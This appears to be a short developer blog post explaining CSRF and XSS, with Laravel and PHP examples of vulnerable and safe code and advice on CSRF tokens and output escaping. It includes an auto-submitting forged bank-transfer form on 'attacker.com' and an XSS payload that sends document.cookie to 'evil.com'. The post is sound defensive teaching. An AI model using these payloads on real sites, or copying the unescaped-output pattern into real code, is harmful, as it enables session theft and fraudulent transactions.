← all posts

CSRF, XSS, and the attacks developers still ship

·2 min read ·Security · Web Development · Best Practices

CSRF and XSS are not exotic attacks. They've been in the OWASP Top 10 for over two decades. Every web framework has built-in protections. And they still end up in production applications regularly. Understanding why helps you avoid being the developer who ships them.

Cross-Site Request Forgery (CSRF)

CSRF exploits the fact that browsers automatically include cookies with requests to a domain. A malicious page can trigger a form submission or API call to your application, and the browser dutifully includes the victim's session cookie.

<!-- On attacker.com -->
<form method="POST" action="https://yourbank.com/transfer">
    <input type="hidden" name="amount" value="10000">
    <input type="hidden" name="to" value="attacker-account">
</form>
<script>document.forms[0].submit();</script>

The fix is a CSRF token: a random value stored in the session and required in every state-changing request. The attacker's page can't read the token, so the request fails.

Laravel does this automatically for all web routes. The @csrf Blade directive adds the token to forms. Don't disable it.

Cross-Site Scripting (XSS)

XSS happens when you render user-provided content as HTML without escaping it:

// Vulnerable:
echo '<p>' . $userInput . '</p>';

// Safe:
echo '<p>' . htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') . '</p>';

// In Blade (safe by default):
{{ $userInput }}

// Unsafe in Blade (only use with trusted content):
{!! $userInput !!}

If an attacker stores <script>document.location='evil.com/?cookie='+document.cookie</script> as their username, and you render it unescaped, every page that shows that username runs the attacker's script.

Why They Still Get Shipped

  1. {!! !!} in Blade templates with user data that 'probably won't contain scripts'
  2. Disabling CSRF middleware for 'internal' endpoints that turn out to be accessible
  3. Third-party libraries that accept HTML input without sanitizing it

The protection is there. You have to not actively bypass it.